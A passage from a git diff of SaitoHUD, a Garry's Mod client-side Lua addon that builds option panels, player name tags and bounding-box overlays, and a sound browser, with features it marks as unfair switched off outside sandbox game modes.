@param panel +-- @param text +-- @param command +-- @param clearOnEnter +-- @param unfair True if function is disabled in cheat deterrence mode +-- @return Control +local function AddInput(panel, text, command, clearOnEnter, unfair) + panel:AddControl("Label", {Text = text}) + + local entry = panel:AddControl("textbox", {}) + --local entry = panel:AddControl("DTextEntry", {}) + entry:SetTall(20) + entry:SetWide(100) + entry:SetEnterAllowed(true) + entry.OnEnter = function() + LocalPlayer():ConCommand(command .. " " .. entry:GetValue()) + if clearOnEnter then + entry:SetValue("") + end + end + + if unfair then + entry:SetEditable(not SaitoHUD.AntiUnfairTriggered()) + entry:SetDrawBackground(not SaitoHUD.AntiUnfairTriggered()) + end + + return entry +end + +--- Adds a label to a panel. +-- @param panel +-- @param text +-- @return Control +local function AddLabel(panel, text) + panel:AddControl("Label", {Text=text}) +end + +--- Adds a checkbox to a panel. +-- @param panel +-- @param text +-- @param command +-- @param unfair True if function is disabled in cheat deterrence mode +-- @return Control +local function AddToggle(panel, text, command, unfair) + local c = panel:AddControl("CheckBox", { + Label = text, + Command = command + }) + + if unfair then + c:SetDisabled(SaitoHUD.AntiUnfairTriggered()) + end + return c +end + +--- Adds a button to a panel. +-- @param panel +-- @param text +-- @param command +-- @return Control +local function AddButton(panel, label, command) + local button + + if type(command) == "function" then + button = panel:AddControl("button", {label = label}) + --button = panel:AddControl("DButton", {}) + button:SetText(label) + button.DoClick = command + else + button = panel:AddControl("Button", { + Label = label, + Command = command + }) + end + + if unfair then + button:SetDisabled(SaitoHUD.AntiUnfairTriggered()) + end + + return button +end + + + +local panMeta = FindMetaTable("Panel") +function panMeta:AddControlFix(control,data) + local data = table.LowerKeyNames(data) + control = string.lower(control) + + --From garry + if ( control == "listbox" ) then + + if ( data.height ) then + + local ctrl = vgui.Create( "DListView" ) + ctrl:SetMultiSelect( false ) + ctrl:AddColumn( data.label or "unknown" ) + + if ( data.options ) then + + for k, v in pairs( data.options ) do + + v.id = nil -- Some txt file configs still have an `ID'. But these are redundant now. + + local line = ctrl:AddLine( k ) + line.data = v + + -- This is kind of broken because it only checks one convar + -- instead of all of them. But this is legacy. It will do for now. + for k, v in pairs( line.data ) do + if ( GetConVarString( k ) == v ) then + line:SetSelected( true ) + end + end + + end + + end + + ctrl:SetTall( data.height ) + ctrl:SortByColumn( 1, false ) + + function ctrl:OnRowSelected( LineID, Line ) + for k, v in pairs( Line.data ) do + RunConsoleCommand( k, v ) + end + end + + local left = vgui.Create( "DLabel", self ) + left:SetText( data.label or " " ) + left:SetDark( true ) + ctrl:Dock( TOP ) + + self:AddItem( left, ctrl ) + + return ctrl + else + + local ctrl = vgui.Create( "CtrlListBox", self ) + + if ( data.options ) then + for k, v in pairs( data.options ) do + v.id = nil -- Some txt file configs still have an `ID'. But these are redundant now. + ctrl:AddOption( k, v ) + end + end + + local left = vgui.Create( "DLabel", self ) + left:SetText( data.label or " ") + left:SetDark( true ) + ctrl:SetHeight( 25 ) + ctrl:Dock( TOP ) + + self:AddItem( left, ctrl ) + + return ctrl + end + end + + + return self:AddControl(control,data) +end + + +--- Adds the quick filter list for the filtering panel. +-- @param panel +-- @param cmd +-- @param text +-- @param input +-- @return +local function AddQuickFilterList(panel, cmd, text, field) + local ctrl = panel:AddControlFix("listbox", {label = " ", height = 101}) + --local ctrl = panel:AddControl("DListView", {}) + ctrl:AddColumn("Quick " .. text .. " Filter") + --ctrl:SetTall(101) + + ctrl.OnRowSelected = function(panel, line) + local args = SaitoHUD.ParseCommand(panel:GetLine(line):GetValue(1)) + RunConsoleCommand(cmd, unpack(args)) + end + + ctrl.OnRowRightClick = function(lst, index, line) + local menu = DermaMenu() + menu:AddOption("Set Input to Value", function() + field:SetValue(line:GetValue(1)) + end) + menu:AddOption("Copy", function() + SetClipboardText(line:GetValue(1)) + end) + menu:Open() + end + + for _, filter in pairs(quickFilters) do + ctrl:AddLine(filter) + end +end + +--- Creates the help panel. +-- @param panel +local function HelpPanel(panel) + panel:ClearControls() + --panel:AddHeader() + + local button = panel:AddControl("Button", {label = "Help"}) + --local button = panel:AddControl("DButton", {}) + --button:SetText("Help") + button.DoClick = function(button) + SaitoHUD.OpenHelp() + end +end + +--- Creates the tools panel. +-- @param panel +local function ToolPanel(panel) + panel:ClearControls() + --panel:AddHeader() + + AddToggle(panel, "Umsg Debugging Overlay", "umsg_debug", false) + AddToggle(panel, "Peek Into wire_umsg", "umsg_debug_peek_wire", false) + AddToggle(panel, "Peek Into x (Titan)", "umsg_debug_peek_titan", false) + + panel:AddControl("Label", {Text = "WARNING: Peeking into wire_umsg will cause the messages to be dropped."}) + + local button = panel:AddControl("Button", {label = "Sound Browser"}) + --local button = panel:AddControl("DButton", {}) + --button:SetText("Sound Browser") + button.DoClick = function(button) + SaitoHUD.OpenSoundBrowser() + end + + local button = panel:AddControl("Button", {label = "E2 Extensions"}) + --local button = panel:AddControl("DButton", {}) + --button:SetText("Expression 2 Extensions") + button.DoClick = function(button) + SaitoHUD.OpenE2Extensions() + end + + local button = panel:AddControl("Button", {label = "Hook manager"}) + --local button = panel:AddControl("DButton", {}) + --button:SetText("Hook Manager") + button.DoClick = function(button) + SaitoHUD.OpenHookManager() + end +end + +--- Creates the sampling panel. +-- @param panel +local function SamplingPanel(panel) + panel:ClearControls() + --panel:AddHeader() + + if SaitoHUD.AntiUnfairTriggered() then + panel:AddControl("Label", {Text = "WARNING: A non-sandbox game mode has been detected and the following options do not take effect."}) + end + + AddButton(panel, "Sample Entity", "sample", false) + AddButton(panel, "Clear", "sample_clear", false) + + AddToggle(panel, "Draw Sampled Data", "sample_draw", true) + AddToggle(panel, "Draw Nodes", "sample_nodes", false) + AddToggle(panel, "Draw Thick Lines", "sample_thick", false) + AddToggle(panel, "Fade Samples", "sample_fade", false) + AddToggle(panel, "Use Random Colors", "sample_random_color", false) + AddToggle(panel, "Allow Multiple", "sample_multiple", false) + + panel:AddControl("Slider", { + Label = "Resolution (ms):", + Command = "sample_resolution", + Type = "integer", + min = "1", + max = "500" + }) + + panel:AddControl("Slider", { + Label = "Data Point History Size:", + Command = "sample_size", + Type = "integer", + min = "1", + max = "500" + }) + + AddInput(panel, "Sample Player by Name:", "sample", true, true) + :SetToolTip("Partial names accepted") + AddInput(panel, "Remove Player by Name:", "sample_remove", true, true) + :SetToolTip("Partial names accepted") + AddInput(panel, "Sample by Filter:", "sample_filter", true, true) + :SetToolTip("Enter a filter and then press ENTER") + AddInput(panel, "Remove by Filter:", "sample_remove_filter", true, true) + :SetToolTip("Enter a filter and then press ENTER") +end + +--- Creates the overlay panel. +-- @param panel +local function OverlayPanel(panel) + panel:ClearControls() + --panel:AddHeader() + + AddLabel(panel, "Entity Information:") + AddToggle(panel, "Show Entity Information", "entity_info", 0) + AddToggle(panel, "Show Player Info on Entity Information", "entity_info_player",0) + + if SaitoHUD.AntiUnfairTriggered() then + panel:AddControl("Label", {Text = "WARNING: A non-sandbox game mode has been detected and the following options do not take effect."}) + end + + AddLabel(panel, "Name Tags:") + AddToggle(panel, "Show Name Tags", "name_tags", true) + AddToggle(panel, "Always Show Friends", "friend_tags_always", true) + :SetToolTip("See the help to find out how to define a friends list") + AddToggle(panel, "Simple Text Style", "name_tags_simple", true) + AddToggle(panel, "Show Distance", "name_tags_distances", true) + AddToggle(panel, "Rainbow Friends' Names", "name_tags_rainbow_friends", true) + AddToggle(panel, "Bold Friends' Names", "name_tags_bold_friends", true) + + AddLabel(panel, "Players:") + AddToggle(panel, "Show Player Bounding Boxes", "player_boxes", true) + AddToggle(panel, "Show Player Orientation Markers", "player_markers", true) + AddToggle(panel, "Show Player Line of Sights", "trace_aims", true) +end + +--- Creates the filtering panel. +-- @param panel +local function EntityHighlightingPanel(panel) + panel:ClearControls() + --panel:AddHeader() + + AddToggle(panel, "Continuous Filter Evaluation", "overlays_continuous_eval", false) + + -- Triads filter + + local ctrl = AddInput(panel, "Triads Filter:", "triads_filter", false, true) + ctrl:SetToolTip("Enter a filter and then press ENTER") + + AddQuickFilterList(panel, "triads_filter", "Triads", ctrl) + + -- Overlay filter + + local ctrl = AddInput(panel, "Overlay Filter:", "overlay_filter", false, true) + ctrl:SetToolTip("Enter a filter and then press ENTER") + + AddQuickFilterList(panel, "overlay_filter", "Overlay", ctrl) + + panel:AddControl("ListBox", { + Label = "Overlay Filter Text", + MenuButton = false, + Height = 52, + Options = { + Class = {overlay_filter_text = "class"}, + Model = {overlay_filter_text = "model"}, + Material = {overlay_filter_text = "material"}, + Speed = {overlay_filter_text = "speed"}, + ["Peak Speed"] = {overlay_filter_text = "peakspeed"}, + } + }) + + AddLabel(panel, "Peak speed evaluation benefits from continuous filter evaluation if accuracy is desired.") + + AddToggle(panel, "Print Cached Data on Entity Removal", "overlay_filter_print_removed", false) + AddButton(panel, "Clear Cache", "overlay_filter_clear_cache", false) + + -- Bounding box filter + + local ctrl = AddInput(panel, "Bounding Box Filter:", "bbox_filter", false, true) + ctrl:SetToolTip("Enter a filter and then press ENTER") + + AddQuickFilterList(panel, "bbox_filter", "Bounding Box", ctrl) + + -- Triads filter + + local ctrl = AddInput(panel, "Velocity Vectors Filter:", "vel_vec_filter", false, true) + ctrl:SetToolTip("Enter a filter and then press ENTER") + + AddQuickFilterList(panel, "vel_vec_filter", "Velocity Vectors", ctrl) +end + +--- Creates the surveying panel. +-- @param panel +local function SurveyPanel(panel) + panel:ClearControls() + --panel:AddHeader() + + AddLabel(panel, "Orthogonal Tracing:") + AddButton(panel, "Create Orthogonal Line", "ortho_trace", false) + AddButton(panel, "Clear", "ortho_trace_clear", false) + AddToggle(panel, "Show Trace Text", "ortho_trace_text", true) + + -- Reflection analysis + + AddLabel(panel, "Reflection Analysis:") + + panel:AddControl("ListBox", { + Label = "Do Trace with # Bounces", + MenuButton = false, + Height = 102, + Options = { + ["10"] = {reflect_trace = 5}, + ["25"] = {reflect_trace = 25}, + ["50"] = {reflect_trace = 50}, + ["100"] = {reflect_trace = 100}, + ["250"] = {reflect_trace = 250}, + ["500"] = {reflect_trace = 500}, + ["750"] = {reflect_trace = 750}, + ["1000"] = {reflect_trace = 1000} + } + }) + AddButton(panel, "Clear", "reflect_trace_clear", false) + + AddToggle(panel, "Show Nodes", "reflect_trace_nodes", true) + AddToggle(panel, "Allow Multiple", "reflect_trace_multiple", true) + AddToggle(panel, "Color Progression", "reflect_trace_color_progression", true) +end + +--- Creates the measuring panel. +-- @param panel +local function MeasuringPanel(panel) + panel:ClearControls() + --panel:AddHeader() + + AddButton(panel, "Add Point", "measure_add", false) + AddButton(panel, "Add Point by Coordinate", function() + Derma_StringRequest("Add Point", + "Enter X, Y, and Z, separated by commas:", + "", + function(text) + text = text:Trim() + args = string.Explode(" ", text) + RunConsoleCommand("measure_add", unpack(args)) + end) + end, false) + AddButton(panel, "Add Orthogonal Line", "measure_add_ortho", false) + AddButton(panel, "Close Loop", "measure_close", false) + AddButton(panel, "Delete Last Point", "measure_remove_last", false) + AddButton(panel, "Clear", "measure_clear", false) + + pointsList = panel:AddControlFix("listbox", {label = " ", height = 300}) + --pointsList = panel:AddControl("DListView", {}) + pointsList:SetMultiSelect(false) + pointsList:AddColumn("ID"):SetMaxWidth(30) + pointsList:AddColumn("Position") + --pointsList:SetTall(300) + + for k, pt in pairs(SaitoHUD.MeasurePoints) do + local line = pointsList:AddLine(tostring(k), tostring(pt)) + end + + pointsList.OnRowRightClick = function(lst, index, line) + local menu = DermaMenu() + menu:AddOption("Add Point Before", function() + RunConsoleCommand("measure_insert", line:GetValue(1)) + end) + menu:AddOption("Add Point Before by Coordinate", function() + Derma_StringRequest("Add Point", + "Enter X, Y, and Z, separated by commas:", + "", + function(text) + text = text:Trim() + args = string.Explode(" ", text) + RunConsoleCommand("measure_insert", line:GetValue(1), unpack(args)) + end) + end) + menu:AddOption("Add Orthogonal Line Before", function() + RunConsoleCommand("measure_insert_ortho", line:GetValue(1)) + end) + menu:AddOption("Replace Point", function() + RunConsoleCommand("measure_replace", line:GetValue(1)) + end) + menu:AddOption("Replace Point by Coordinate", function() + Derma_StringRequest("Add Point", + "Enter X, Y, and Z, separated by commas:", + "", + function(text) + text = text:Trim() + args = string.Explode(" ", text) + RunConsoleCommand("measure_replace", line:GetValue(1), unpack(args)) + end) + end) + menu:AddOption("Delete Point", function() + RunConsoleCommand("measure_remove", line:GetValue(1)) + end) + menu:AddOption("Copy Coordinates", function() + SetClipboardText(line:GetValue(2)) + end) + menu:Open() + end + + AddButton(panel, "Copy Total Distance", function() + SetClipboardText(SaitoHUD.MeasureLength) + end) +end + +--- Creates the sampling panel. +-- @param panel +local function SpectatingPanel(panel) + panel:ClearControls() + --panel:AddHeader() + + if SaitoHUD.AntiUnfairTriggered() then + panel:AddControl("Label", {Text = "WARNING: A non-sandbox game mode has been detected and the following options do not take effect."}) + end + + AddButton(panel, "Toggle Free Spectate", "free_spectate", true) + + AddToggle(panel, "Show Spectating Notice", "free_spectate_notice", true) + AddToggle(panel, "Lock Player", "free_spectate_lock", false) + + panel:AddControl("Slider", { + Label = "Movement Rate:", + Command = "free_spectate_rate", + Type = "integer", + min = "1", + max = "10000" + }) + panel:AddControl("Slider", { + Label = "Slow Factor:", + Command = "free_spectate_slow_factor", + Type = "float", + min = "1", + max = "100" + }) +end + +local panels = { + Help = {"Help", HelpPanel}, + Tools = {"Tools", ToolPanel}, + Sampling = {"Sampling", SamplingPanel, {SwitchConVar = "sample_draw"}}, + Overlay = {"Overlay", OverlayPanel}, + Filtering = {"Filtering", EntityHighlightingPanel}, + Surveying = {"Surveying", SurveyPanel}, + Measuring = {"Measuring", MeasuringPanel}, + Spectating = {"Spectating", SpectatingPanel}, +} + +--- PopulateToolMenu hook. +local function PopulateToolMenu() + _SaitoHUDToolMenuPopulated = true + + for k, v in pairs(panels) do + spawnmenu.AddToolMenuOption("Options", "SaitoHUD", "SaitoHUD" .. k, + v[1], "", "", v[2], v[3]) + end +end + +--- Selectively update the measuring panel. +function SaitoHUD.UpdateMeasuringPanel() + if pointsList then + pointsList:Clear() + + for k, pt in pairs(SaitoHUD.MeasurePoints) do + local line = pointsList:AddLine(tostring(k), tostring(pt)) + end + end +end + +--- Updates the panels. +function SaitoHUD.UpdatePanels() + for k, v in pairs(panels) do + assert(v[2])(GetControlPanel("SaitoHUD" .. k)) + end +end + +hook.Add("PopulateToolMenu", "SaitoHUD.PopulateToolMenu", PopulateToolMenu) + +LoadQuickFilters() + +if _SaitoHUDToolMenuPopulated and SaitoHUD.Reloading then + Msg("Updating panels...\n") + SaitoHUD.UpdatePanels() +end \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/player_tags.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/player_tags.lua new file mode 100644 index 0000000..36ec658 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/player_tags.lua @@ -0,0 +1,221 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +------------------------------------------------------------ +-- Name tags +------------------------------------------------------------ + +local drawNameTags = CreateClientConVar("name_tags", "0", true, false) +local alwaysDrawFriendTags = CreateClientConVar("friend_tags_always", "0", true, false) +local simpleNameTags = CreateClientConVar("name_tags_simple", "1", true, false) +local rainbowFriends = CreateClientConVar("name_tags_rainbow_friends", "0", true, false) +local boldFriends = CreateClientConVar("name_tags_bold_friends", "1", true, false) +local playerDistances = CreateClientConVar("name_tags_distances", "1", true, false) + +local function NameTagsPaint() + local refPos = SaitoHUD.GetRefPos() + local all = drawNameTags:GetBool() + local alwaysFriends = alwaysDrawFriendTags:GetBool() + local showDistances = playerDistances:GetBool() + local simpleTags = simpleNameTags:GetBool() + local boldFriends = boldFriends:GetBool() + local rainbow = rainbowFriends:GetBool() + + for _, ply in pairs(player.GetAll()) do + local name = ply:GetName() + local screenPos = (ply:GetPos() + Vector(0, 0, 50)):ToScreen() + local distance = math.Round(ply:GetPos():Distance(refPos)) + local color = color_white + local shadowColor = Color(0, 0, 0, 255) + local isFriend = SaitoHUD.IsFriend(ply) + local bold = boldFriends and isFriend + + if all or (alwaysFriends and isFriend) then + -- Friend name colors + if isFriend then + if rainbow then + color = HSVToColor(math.sin(CurTime() * 360 / 500) * 360, 1, 1) + else + color = SaitoHUD.GetFriendColor(ply) + end + end + + -- Distances + local text = name + if showDistances then + text = text .. "[" .. tostring(distance) .. "]" + end + + if simpleTags then + if bold then + draw.SimpleText(text, "DefaultBold", screenPos.x + 1, + screenPos.y + 1, shadowColor, 1, ALIGN_TOP) + draw.SimpleText(text, "DefaultBold", screenPos.x, screenPos.y, + color, 1, ALIGN_TOP) + else + draw.SimpleText(text, "DefaultSmallDropShadow", screenPos.x + 1, + screenPos.y + 1, color, 1, ALIGN_TOP) + end + else + if bold then + draw.SimpleTextOutlined(text, "DefaultBold", screenPos.x, + screenPos.y, color, 1, ALIGN_TOP, 1, + shadowColor) + else + draw.SimpleTextOutlined(text, "DefaultSmall", screenPos.x, + screenPos.y, color, 1, ALIGN_TOP, 1, + shadowColor) + end + end + end + + -- End player loop + end +end + +SaitoHUD.HookOnCvar({"name_tags", "friend_tags_always"}, "SaitoHUD.NameTags", { + HUDPaint = NameTagsPaint, +}, true) + +------------------------------------------------------------ +-- Player bounding boxes +------------------------------------------------------------ + +local playerBoxes = CreateClientConVar("player_boxes", "0", true, false) + +local function PlayerBBoxesPaint() + local refPos = SaitoHUD.GetRefPos() + + for _, ply in pairs(player.GetAll()) do + local pos = ply:GetPos() + + local obbMin = ply:OBBMins() + local obbMax = ply:OBBMaxs() + + local p = { + Vector(obbMin.x, obbMin.y, obbMin.z), + Vector(obbMin.x, obbMax.y, obbMin.z), + Vector(obbMax.x, obbMax.y, obbMin.z), + Vector(obbMax.x, obbMin.y, obbMin.z), + Vector(obbMin.x, obbMin.y, obbMax.z), + Vector(obbMin.x, obbMax.y, obbMax.z), + Vector(obbMax.x, obbMax.y, obbMax.z), + Vector(obbMax.x, obbMin.y, obbMax.z), + } + + local front = Vector(0, 0, 40) + front:Rotate(Angle(0, ply:EyeAngles().y, 0)) + front = ply:LocalToWorld(front):ToScreen() + local front2 = Vector(50, 0, 40) + front2:Rotate(Angle(0, ply:EyeAngles().y, 0)) + front2 = ply:LocalToWorld(front2):ToScreen() + + local visible = true + for i = 1, 8 do + p[i]:Rotate(Angle(0, ply:EyeAngles().y, 0)) + p[i] = ply:LocalToWorld(p[i]) + p[i] = p[i]:ToScreen() + if not p[i].visible then + visible = false + break + end + end + + if visible then + if ply:Alive() then + surface.SetDrawColor(0, 255, 0, 255) + else + surface.SetDrawColor(0, 0, 255, 255) + end + + -- Bottom + surface.DrawLine(p[1].x, p[1].y, p[2].x, p[2].y) + surface.DrawLine(p[2].x, p[2].y, p[3].x, p[3].y) + surface.DrawLine(p[3].x, p[3].y, p[4].x, p[4].y) + surface.DrawLine(p[4].x, p[4].y, p[1].x, p[1].y) + -- Top + surface.DrawLine(p[5].x, p[5].y, p[6].x, p[6].y) + surface.DrawLine(p[6].x, p[6].y, p[7].x, p[7].y) + surface.DrawLine(p[7].x, p[7].y, p[8].x, p[8].y) + surface.DrawLine(p[8].x, p[8].y, p[5].x, p[5].y) + -- Sides + surface.DrawLine(p[1].x, p[1].y, p[5].x, p[5].y) + surface.DrawLine(p[2].x, p[2].y, p[6].x, p[6].y) + surface.DrawLine(p[3].x, p[3].y, p[7].x, p[7].y) + surface.DrawLine(p[4].x, p[4].y, p[8].x, p[8].y) + -- Bottom + --surface.DrawLine(p[1].x, p[1].y, p[3].x, p[3].y) + + surface.DrawLine(front.x, front.y, front2.x, front2.y) + end + end +end + +SaitoHUD.HookOnCvar("player_boxes", "SaitoHUD.PlayerBBoxes", { + HUDPaint = PlayerBBoxesPaint, +}, true) + +------------------------------------------------------------ +-- Player markers +------------------------------------------------------------ + +local playerMarkers = CreateClientConVar("player_markers", "0", true, false) + +local function PlayerMarkersPaint() + for _, ply in pairs(player.GetAll()) do + local pos = ply:GetPos() + + local obbMin = ply:OBBMins() + local obbMax = ply:OBBMaxs() + + local p = { + Vector(0, 10, 0), + Vector(0, -10, 0), + Vector(10, 0, 0), + } + + local visible = true + for i = 1, 3 do + p[i]:Rotate(Angle(0, ply:EyeAngles().y, 0)) + p[i] = ply:LocalToWorld(p[i]) + p[i] = p[i]:ToScreen() + if not p[i].visible then + visible = false + break + end + end + + if visible then + if ply:Alive() then + surface.SetDrawColor(0, 255, 0, 255) + else + surface.SetDrawColor(0, 0, 255, 255) + end + + -- Bottom + surface.DrawLine(p[1].x, p[1].y, p[2].x, p[2].y) + surface.DrawLine(p[2].x, p[2].y, p[3].x, p[3].y) + surface.DrawLine(p[3].x, p[3].y, p[1].x, p[1].y) + end + end +end + +SaitoHUD.HookOnCvar("player_markers", "SaitoHUD.PlayerMarkers", { + HUDPaint = PlayerMarkersPaint, +}, true) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/resbrowser.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/resbrowser.lua new file mode 100644 index 0000000..147648c --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/resbrowser.lua @@ -0,0 +1,241 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +local soundFolders = {} +local soundList = {} +local soundBrowserWindow +local loaded = false + +--- Loads the sounds from file. +local function LoadSounds(f) + local data = SaitoHUD.ParseCSV(file.Read("saitohud/resource_browser/sounds/" .. f, "DATA")) + soundList = data + + soundFolders = {} + + if #data > 0 then + -- Remove the header + if data[1][1] == "Path" then + table.remove(data, 1) + end + + for _, v in pairs(data) do + local parts = string.Explode("/", tostring(v[1])) + table.remove(parts, #parts) + + local n = soundFolders + for _, p in pairs(parts) do + if not n[p] then n[p] = {} end + n = n[p] + end + end + end + + if soundBrowserWindow and soundBrowserWindow:IsValid() then + soundBrowserWindow:Remove() + soundBrowserWindow = nil + end +end + +--- Adds nodes for folders to a tree. +-- @param tree +-- @param folders +-- @param clickFunc +-- @param path +local function AddTreeFolders(tree, folders, clickFunc, path) + local keys = {} + if not path then path = "" end + + for folder, _ in pairs(folders) do + table.insert(keys, folder) + end + + table.sort(keys, function(a, b) return a:lower() < b:lower() end) + + for _, folder in pairs(keys) do + local subfolders = folders[folder] + local node = tree:AddNode(folder) + node.DoClick = function(self) + clickFunc(path .. folder .. "/") + end + AddTreeFolders(node, subfolders, clickFunc, path .. folder .. "/") + end +end + +--- Updates the list with the list of sound files. +-- @param panel +-- @param entries +-- @param path +local function UpdateSoundList(panel, entries, path) + panel:Clear() + + local len = string.len(path) + for _, line in pairs(entries) do + local testPath = tostring(line[1]) + if string.sub(testPath, 1, len) == path then + local rest = string.sub(testPath, len + 1) + if not rest:find("/") then + panel:AddLine(rest, "", path, testPath) + end + end + end +end + +--- Opens the sound browser. +function SaitoHUD.OpenSoundBrowser() + if soundBrowserWindow then + soundBrowserWindow:SetVisible(true) + soundBrowserWindow:MakePopup() + soundBrowserWindow:InvalidateLayout(true, true) + return + end + + if not loaded then + LoadSounds("source.txt") + loaded = true + end + + local frame = vgui.Create("DFrame") + soundBrowserWindow = frame + frame:SetTitle("Sound Browser") + frame:SetDeleteOnClose(false) + frame:SetScreenLock(true) + frame:SetSize(math.min(600, ScrW() - 20), ScrH() * 4/5) + frame:SetSizable(true) + frame:Center() + frame:MakePopup() + + -- Make list view + local sounds = vgui.Create("DListView", frame) + sounds:SetMultiSelect(false) + sounds:AddColumn("Filename"):SetMinWidth(200) + sounds:AddColumn("Duration") + sounds:AddColumn("Folder") + + sounds.OnRowSelected = function(lst, index) + local line = lst:GetLine(index) + local path = line:GetValue(4) + RunConsoleCommand("stopsounds") + timer.Simple(0.1, function() + surface.PlaySound(path) + end) + line:SetValue(2, string.format("%.2f", SoundDuration(path))) + end + + sounds.OnRowRightClick = function(lst, index, line) + local menu = DermaMenu() + menu:AddOption("Play", function() + local line = lst:GetLine(index) + local path = line:GetValue(4) + RunConsoleCommand("stopsounds") + timer.Simple(0.1, function() + surface.PlaySound(path) + end) + end) + menu:AddOption("Copy Filename", function() + local line = lst:GetLine(index) + SetClipboardText(line:GetValue(1)) + end) + menu:AddOption("Copy Path", function() + local line = lst:GetLine(index) + SetClipboardText(line:GetValue(4)) + end) + menu:AddOption("Copy Duration", function() + local line = lst:GetLine(index) + SetClipboardText(SoundDuration(line:GetValue(4))) + end) + menu:AddOption("Send to Wired Sound Emitter", function() + local line = lst:GetLine(index) + RunConsoleCommand("wire_soundemitter_sound", line:GetValue(4)) + RunConsoleCommand("tool_wire_soundemitter") + end) + menu:Open() + end + + sounds.DoDoubleClick = function(lst, index, line) + if not line then return end + frame:Close() + end + + UpdateSoundList(sounds, soundList, "/") + + -- Make folder view + local tree = vgui.Create("DTree", frame) + + AddTreeFolders(tree, soundFolders, function(path) + UpdateSoundList(sounds, soundList, path) + end) + + -- Make divider + local divider = vgui.Create("DHorizontalDivider", frame) + divider:SetLeftWidth(150) + divider:SetLeft(tree) + divider:SetRight(sounds) + + -- Load list button + local loadListButton = vgui.Create("DButton", frame) + loadListButton:SetText("Load List..") + loadListButton:SetWide(80) + loadListButton.DoClick = function() + local files = file.Find("saitohud/resource_browser/sounds/*.txt", "DATA") + + local menu = DermaMenu() + + for _, file in pairs(files) do + menu:AddOption(file, function() + soundBrowserWindow:Close() + LoadSounds(file) + -- Very ugly + SaitoHUD.OpenSoundBrowser() + end) + end + + menu:Open() + end + + -- Stop sounds button + local stopSoundsButton = vgui.Create("DButton", frame) + stopSoundsButton:SetText("Stop All Sounds") + stopSoundsButton:SetWide(110) + stopSoundsButton:SetTooltip("Will also stop game sounds") + stopSoundsButton.DoClick = function() + RunConsoleCommand("stopsounds") + end + + -- Layout + local oldPerform = frame.PerformLayout + frame.PerformLayout = function() + oldPerform(frame) + divider:StretchToParent(10, 28 + 28, 10, 10) + + loadListButton:SetPos(10, 28) + stopSoundsButton:SetPos(10 + loadListButton:GetWide() + 5, 28) + end + + -- Close + local oldClose = frame.Close + frame.Close = function(self) + RunConsoleCommand("stopsounds") + oldClose(self) + end + + frame:InvalidateLayout(true, true) +end + +concommand.Add("sound_browser", function() SaitoHUD.OpenSoundBrowser() end) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/sampling.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/sampling.lua new file mode 100644 index 0000000..92684e4 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/sampling.lua @@ -0,0 +1,441 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +local sampleDraw = CreateClientConVar("sample_draw", "1", false, false) +local sampleResolution = CreateClientConVar("sample_resolution", "100", true, false) +local sampleRandomColor = CreateClientConVar("sample_random_color", "0", true, false) +local sampleFade = CreateClientConVar("sample_fade", "0", true, false) +local sampleSize = CreateClientConVar("sample_size", "100", true, false) +local sampleThick = CreateClientConVar("sample_thick", "0", true, false) +local sampleNodes = CreateClientConVar("sample_nodes", "1", true, false) +local sampleMultiple = CreateClientConVar("sample_multiple", "0", true, false) + +SaitoHUD.Samplers = {} + +local lastSample = 0 + +local SamplingContext = {} + +--- Creates a new sampling context. +-- @param ent Entity +-- @param color Color object to draw the lines and nodes with +-- @param randomColor Boolean indicating whether a random color should be used; color +-- should be nil +function SamplingContext:new(ent, color, randomColor) + if color == nil then + if randomColor then + color = HSVToColor(math.random(0, 255), 1, 1) + else + color = Color(0, 255, 255, 255) + end + end + + local instance = { + ["ent"] = ent, + ["points"] = {}, + ["color"] = color, + } + + setmetatable(instance, self) + self.__index = self + return instance +end + +--- Does logging for this sampling context. A size parameter can be given to +-- specify the number of data points to keep. If the parameter is not specified, then +-- the number configured via the relevant cvar will be used. +-- @param size +function SamplingContext:Log(size) + if not self.ent or not IsValid(self.ent) then + self.Log = function() end + self.Draw = function() end + return false + end + + if size == nil then + size = sampleSize:GetFloat() + end + + table.insert(self.points, self.ent:GetPos()) + while #self.points > size do + table.remove(self.points, 1) + end + + return true +end + +--- Draws the sample. +-- @param drawNodes Boolean indicating whether the nodes should be drawn +function SamplingContext:Draw(drawNodes) + if not self.ent or not IsValid(self.ent) then + self.Log = function() end + self.Draw = function() end + return false + end + + local dim = 